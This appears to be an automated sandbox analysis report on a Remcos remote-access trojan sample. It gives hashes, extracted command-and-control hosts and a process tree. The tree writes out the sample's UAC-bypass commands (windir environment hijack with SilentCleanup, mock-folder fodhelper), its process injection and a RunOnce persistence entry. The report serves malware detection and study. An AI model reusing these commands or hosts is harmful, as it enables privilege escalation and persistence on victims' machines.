Analysis
-
max time kernel
142s -
max time network
155s -
platform
windows7_x64 -
resource
win7 -
submitted
10-07-2020 12:11
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe
-
Size
1.5MB
-
MD5
0c6a22a028ce02e10608bb44b7b4c66f
-
SHA1
686ca5b3fdb1606769054107783ab4ad49a3acec
-
SHA256
491cff43b259addd44a312094b15674d2c33c9ab901500130fead03e7d9d6530
-
SHA512
dbee8252a20e0e90242282b14c76ca8256700055b65f27f3b19131bd27613a5168363d4507daac641234504f15b3b6d4a53140b5c591e6df732aa253087ffaaa
Score
10/10
Malware Config
Extracted
Family
remcos
C2
karimgoussd.ug:6969
fgdjhksdfsdxcbv.ru:6969
Signatures
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of WriteProcessMemory 527 IoCs
Processes:
SecuriteInfo.com.Artemis0C6A22A028CE.16359.exedescription pid process target process PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe PID 1448 wrote to memory of 1820 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe TapiUnattend.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
SecuriteInfo.com.Artemis0C6A22A028CE.16359.exedescription pid process target process PID 1448 set thread context of 2360 1448 SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe ieinstal.exe -
Executes dropped EXE 2 IoCs
Processes:
fodhelper.exefodhelper.exepid process 2588 fodhelper.exe 2608 fodhelper.exe -
Adds Run entry to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.Artemis0C6A22A028CE.16359.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Ghsb = "C:\\Users\\Admin\\AppData\\Local\\Ghsb\\Ghsb.hta" SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe -
Modifies registry key 1 TTPs 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis0C6A22A028CE.16359.exe"1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Adds Run entry to start application
PID:1448 -
C:\Windows\SysWOW64\TapiUnattend.exe"C:\Windows\System32\TapiUnattend.exe"2⤵PID:1820
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Natso.bat3⤵PID:2348
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:2460 -
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:2480 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:2500
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:2516 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Runex.bat3⤵PID:2548
-
C:\Windows \System32\fodhelper.exe"C:\Windows \System32\fodhelper.exe"4⤵
- Executes dropped EXE
PID:2588 -
C:\Windows \System32\fodhelper.exe"C:\Windows \System32\fodhelper.exe"4⤵
- Executes dropped EXE
PID:2608 -
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵PID:2360